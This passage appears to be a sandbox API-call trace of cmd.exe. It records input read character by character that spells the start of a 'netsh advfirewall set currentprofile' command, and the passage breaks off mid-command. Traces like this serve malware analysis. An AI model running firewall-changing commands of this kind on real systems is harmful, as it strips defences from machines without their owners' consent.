_get_osfhandle (_FileHandle=1) returned 0x100 [0041.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a4bc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\kEecfMwgj\\Desktop>", lpUsedDefaultChar=0x0) returned 28 [0041.687] WriteFile (in: hFile=0x100, lpBuffer=0x4a4bc320*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x1ef8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesWritten=0x1ef8b8*=0x1b, lpOverlapped=0x0) returned 1 [0041.687] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.687] GetFileType (hFile=0x9c) returned 0x3 [0041.687] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.687] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.687] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be320, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0041.687] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.687] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.687] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be322, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.687] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.688] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.688] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be324, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.688] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.688] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.688] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be326, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0041.688] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.688] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.688] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be328, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0041.688] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.688] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.688] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.688] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.688] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.688] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be32c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0041.688] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.688] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.688] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be32e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0041.688] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.688] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.689] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be330, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0041.689] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.689] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.689] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be332, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0041.689] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.689] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.689] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be334, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0041.689] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.689] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.689] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be336, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0041.689] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.689] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.689] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.689] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.689] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.689] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be33a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0041.689] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.689] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.689] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be33c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0041.689] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.690] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.690] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be33e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.690] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.690] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.690] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be340, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.690] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.690] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.690] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be342, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.690] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.690] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.690] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be344, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0041.690] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.690] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.690] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be346, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.690] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.690] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.690] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be348, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.690] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.690] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.690] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be34a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.691] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.691] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.691] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be34c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0041.691] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.691] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.691] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be34e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0041.691] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.691] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.691] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be350, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0041.691] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.691] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.691] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be352, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0041.691] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.691] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.691] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be354, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.691] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.691] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.691] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be356, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0041.691] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.692] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.692] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be358, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.692] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.692] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.692] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be35a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0041.692] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.692] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.692] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be35c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0041.692] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.692] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.692] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be35e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0041.692] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.692] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.692] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be360, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0041.692] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.692] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.692] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be362, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0041.692] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.692] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.693] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be364, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.693] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.693] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.693] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be366, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.693] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.693] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.693] ReadFile (in: hFile=0x9c, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efbb8, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x1efbb8*=0x1, lpOverlapped=0x0) returned 1 [0041.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be368, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.693] _get_osfhandle (_FileHandle=0) returned 0x9c 